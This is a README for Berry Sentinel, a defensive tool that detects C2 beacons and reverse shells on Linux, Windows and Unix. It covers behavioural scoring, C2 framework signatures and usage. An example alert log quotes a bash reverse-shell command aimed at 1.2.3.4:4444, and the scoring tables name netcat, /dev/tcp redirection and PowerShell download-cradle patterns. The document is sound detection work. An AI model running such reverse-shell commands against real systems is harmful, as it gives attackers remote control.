
Berry Sentinel v5.0 — Rilevatore comportamentale avanzato di C2 e reverse shell per sistemi Linux/Windows/Unix. Include analisi delle connessioni in tempo reale, punteggio euristico, rilevamento delle firme dei framework C2, analisi degli intervalli di beacon e un'interfaccia TUI interattiva basata su curses con motore di terminazione dei processi.
Rilevatore comportamentale di connessioni C2 (Command & Control) in tempo reale
Zero-signature · Bulletproof Collection · Deep Scan · Kill Engine
Berry Sentinel monitora tutte le connessioni di rete attive sul tuo sistema e analizza il comportamento dei processi che le generano per rilevare attività malevola — senza usare database di firme antivirus né liste di IP bloccati.
Rileva reverse shell, webshell, RAT, beacon C2 e framework come Meterpreter, Cobalt Strike, Sliver o Empire osservando come si comporta un processo: se un interprete Python ha il suo stdin connesso a un socket remoto, quello è sospetto anche se l'IP è sconosciuto.
╔══════════════════════════════════════════════════════════════════════════════════╗
║ BERRY SENTINEL v5.0 — Detector Conductual C2 · TUI Interactivo ║
║ Conexiones: 38 │ Amenazas: 2 │ Firmas: 1 │ via proc/open+ss │ 12ms │ #47 ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ ID SEV PTS PID PROC REMOTO ESTADO FIRMAS/TAGS ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ 3 █CRÍTICO 85 1337 bash 1.2.3.4:4444 ESTAB ⚑Meterpreter SHELL→NET. ║
║ 7 ▲ALTO 52 2048 python3 5.6.7.8:8443 ESTAB TLS-NOBR BCN(60s) ║
╚══════════════════════════════════════════════════════════════════════════════════╝
psutil opzionale per copertura extra# Clonare il repository
git clone https://github.com/dereeqw/BerrySentinel.git
cd BerrySentinel
# (Opzionale ma raccomandato) installare psutil
pip install psutil
# Eseguire
python3 BerrySentinel.py
pkg install python
pip install psutil
python3 BerrySentinel.py --no-tui # curses potrebbe non essere disponibile su Termux
curl -O https://raw.githubusercontent.com/dereeqw/BerrySentinel/main/BerrySentinel.py
python3 BerrySentinel.py
python3 BerrySentinel.py [opzioni]
Opzioni:
--all, -a Includi connessioni locali/loopback (oltre a remote)
--interval N, -i N Aggiornamento ogni N secondi (default: 2, min: 0.5)
--log FILE, -l FILE Salva avvisi in un file (formato JSONL)
--json, -j Esporta JSON completo all'uscita
--whitelist LISTA IP o CIDR da ignorare, separati da virgola
--no-color Senza colori ANSI (utile per pipe o log)
--verbose, -v Mostra tutte le connessioni, non solo quelle sospette
--top N, -t N Massimo righe nella tabella (default: 50)
--diag, -d Diagnostica: mostra quali metodi di raccolta funzionano
--no-tui Modalità legacy senza curses (scroll classico, più portabile)
--version, -V Mostra versione ed esci
# TUI interattivo — modalità raccomandata
python3 BerrySentinel.py
# Deep scan con root (accede alla memoria dei processi)
sudo python3 BerrySentinel.py --all
# Salvare avvisi ed esportare JSON al termine
python3 BerrySentinel.py --log /var/log/sentinel.log --json
# Ignorare rete interna e aggiornare ogni 5 secondi
python3 BerrySentinel.py --whitelist 192.168.0.0/16,10.0.0.0/8 --interval 5
# Modalità testo per usare in script o via SSH senza terminale interattivo
python3 BerrySentinel.py --no-tui --no-color | tee monitoring.txt
# Vedere quali metodi di raccolta funzionano sul sistema corrente
python3 BerrySentinel.py --diag --no-tui
# Solo avvisi gravi, aggiornamento ogni 10 secondi, salvare log
sudo python3 BerrySentinel.py --all --interval 10 --log sentinel.log --json
Ogni connessione riceve un punteggio da 0 a 100 in base agli indicatori rilevati:
Gravità in base al punteggio:
Berry Sentinel include firme per i seguenti framework (valutazione per porte, nome del processo, linea di comando e pattern di beacon):
Ogni avviso viene registrato come una linea JSON indipendente:
{
"ts": "2025-07-15T14:23:01.123456",
"id": 42,
"sev": "CRÍTICO",
"score": 85.0,
"pid": 1337,
"name": "bash",
"cmd": "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1",
"remote": "1.2.3.4:4444",
"local": "192.168.1.10:52341",
"state": "ESTABLISHED",
"tags": ["SHELL→NET", "PIPE-REDIR", "C2P(4444)"],
"sigs": ["Meterpreter"],
"src": "proc/open(self)+ss+netstat"
}
Elaborare con jq:
# Filtrare solo connessioni critiche
jq 'select(.sev == "CRÍTICO")' sentinel.log
# Vedere tutti i PID sospetti
jq '[.pid] | unique' sentinel_export.json
# Cercare per firma specifica
jq 'select(.sigs | contains(["CobaltStrike"]))' sentinel.log
BerrySentinel.py
├── Costanti globali
│ ├── SHELL_BINS, SCRIPT_ENGINES — Nomi di shell e interpreti
│ ├── C2_SUSPECT_PORTS — Porte tipiche di C2
│ ├── PRIVATE_NETS — Range IP privati
│ └── C2_SIGNATURES — Firme di framework noti
│
├── Modelli di dati
│ ├── C2Signature — Definizione firma C2
│ ├── ProcInfo — Info processo del SO
│ ├── Conn — Connessione di rete + risultato analisi
│ └── BeaconTracker — Rilevatore beacon C2
│
├── Raccolta dati
│ ├── Collector — Orchestra più fonti di rete
│ ├── parse_proc_net_content() — Parser /proc/net/*
│ ├── build_inode_pid_map() — Mappa inode→PID
│ ├── get_proc_info() — Info processo via /proc
│ └── get_proc_info_psutil() — Info processo via psutil
│
├── Analisi
│ ├── Engine.analyze() — Punteggio + tag comportamentali
│ ├── Engine._beacon() — Rilevamento beacon
│ └── match_signatures() — Matching firme C2
│
├── Output
│ ├── CursesTUI — TUI interattivo (modalità predefinita)
│ ├── LegacyTUI — Output ANSI senza curses (fallback)
│ └── Logger — Log JSONL su disco
│
└── Sentinel — Orchestratore principale
psutil — opzionale ma molto raccomandato (pip install psutil)Senza dipendenze aggiuntive lo strumento funziona con la stdlib di Python. psutil aggiunge copertura su macOS e Windows dove /proc non esiste.
from BerrySentinel import C2Signature, C2_SIGNATURES
mi_rat = C2Signature(
name="MiRAT",
description="RAT interno corporativo non autorizzato",
score_bonus=70,
checks=[
{"type": "port", "value": 6543},
{"type": "cmdline", "value": r"mi_rat\.py|rat_agent"},
{"type": "procname", "value": r"^mi_rat$"},
],
)
C2_SIGNATURES.append(mi_rat)
import argparse
from BerrySentinel import Sentinel, Sev
args = argparse.Namespace(
all=True, interval=10, log=None, json=False,
whitelist="192.168.0.0/16", no_color=True,
verbose=False, top=100, diag=False, no_tui=True
)
s = Sentinel(args)
s._cycle_data()
for conn in s.last_conns:
if conn.severity >= Sev.HIGH:
proc = conn.proc
print(f"[AVVISO] PID {conn.pid} ({proc.name if proc else '?'}) "
f"→ {conn.remote_addr}:{conn.remote_port} "
f"score={conn.score:.0f} tags={conn.tags}")
from BerrySentinel import Engine, Conn, Sev
class MiEngine(Engine):
KNOWN_C2_IPS = {"203.0.113.1", "198.51.100.42"}
def analyze(self, c: Conn) -> Conn:
c = super().analyze(c)
# Aggiungere logica propria
if c.remote_addr in self.KNOWN_C2_IPS:
c.score = min(c.score + 40, 100)
c.tags.append("KNOWN-IOC-IP")
c.severity = Sev.CRITICAL
return c
Berry Sentinel è progettato per monitorare il proprio sistema o sistemi su cui si ha esplicita autorizzazione. Il Kill Engine agisce solo quando l'utente lo richiede esplicitamente. Utilizzalo in modo responsabile e nel rispetto delle leggi applicabili nella tua giurisdizione.
MIT — vedi LICENSE
| Tasto | Azione |
|---|
↑ / ↓ | Navigare tra le connessioni |
d / D | Mostrare pannello dettagli della connessione selezionata |
k / K | Uccidere processo (chiede conferma del PID) |
f / F | Ciclare filtro di gravità: ALL → MEDIO → ALTO → CRÍTICO |
r | Forzare aggiornamento immediato |
ESC | Chiudere pannello dettagli o cancellare operazione |
q | Uscire |
| Indicatore | Punti | Tag |
|---|
| stdin/stdout → socket | +55 | FD→SOCK |
| Shell binaria con connessione remota | +40 | SHELL→NET |
| Webshell (shell come figlio di Apache/Nginx) | +35 | WEBSHELL |
| Bind shell su porta alta | +35 | BIND-SHELL |
| Uso di netcat/socat | +35 | NETCAT |
Redirezione /dev/tcp o mkfifo | +40 | PIPE-REDIR |
| Eseguibile cancellato dal disco | +25 | EXE-DEL! |
Eseguibile in /tmp o /dev/shm | +15 | EXE-TMP |
| Beacon rilevato (connessione ciclica) | +25×conf | BCN(60s) |
| Firma Meterpreter | +55 | SIG:Meterpreter |
| Firma Cobalt Strike | +60 | SIG:CobaltStrike |
| Firma Sliver | +58 | SIG:Sliver |
| Regioni di memoria RWX | +20 | RWX(N) |
| LD_PRELOAD o HISTFILE=/dev/null | +10 | ENV:LD_PRELOAD |
| Interprete di script connesso | +25 | INTERP→NET |
| eval/exec in linea di comando | +18 | EVAL |
| PowerShell remoto (IEX, DownloadString) | +30 | PS-REM |
| Punteggio | Gravità | Colore |
|---|
| ≥ 65 | CRITICO | 🔴 Rosso brillante |
| ≥ 45 | ALTO | 🟠 Arancione |
| ≥ 25 | MEDIO | 🟡 Giallo |
| ≥ 8 | BASSO | 🔵 Ciano |
| < 8 | INFO | ⚪ Grigio |
| Framework | Bonus punteggio | Indicatori chiave |
|---|
| Meterpreter | +55 | Porta 4444, processo ruby/msfconsole |
| Cobalt Strike | +60 | Porta 50050, beacon ~60s, processo java |
| Sliver | +58 | Porta 31337/8888, beacon ~60s |
| Empire | +55 | Porta 1234/7777, PowerShell -enc |
| Brute Ratel | +62 | Porta 2083, processo badger |
| Havoc | +58 | Porta 40056, demon.x64/x86 |
| Pupy RAT | +52 | Porta 9999, pupy.py |
| Merlin | +54 | Porta 8443, merlin-agent |
| Covenant | +54 | Porta 7443, GruntHTTP |
| PoshC2 | +52 | FComServer, ImplantCore |
| Mythic | +56 | Porta 7443, poseidon/apfell |
| QuasarRAT | +50 | Porta 4782-4785 |
| NetcatShell | +45 | socat exec bash, pty |
| DNS-C2 | +40 | Porta 53, dnscat/iodine |
| Sistema | Supporto | Note |
|---|
| Linux | ✅ Completo | Con root attiva deep scan |
| Android/Termux | ✅ Completo | Usa --no-tui se curses fallisce |
| macOS | ⚠️ Parziale | Senza /proc; usa netstat+psutil |
| Windows | ⚠️ Parziale | netstat+psutil, senza analisi memoria |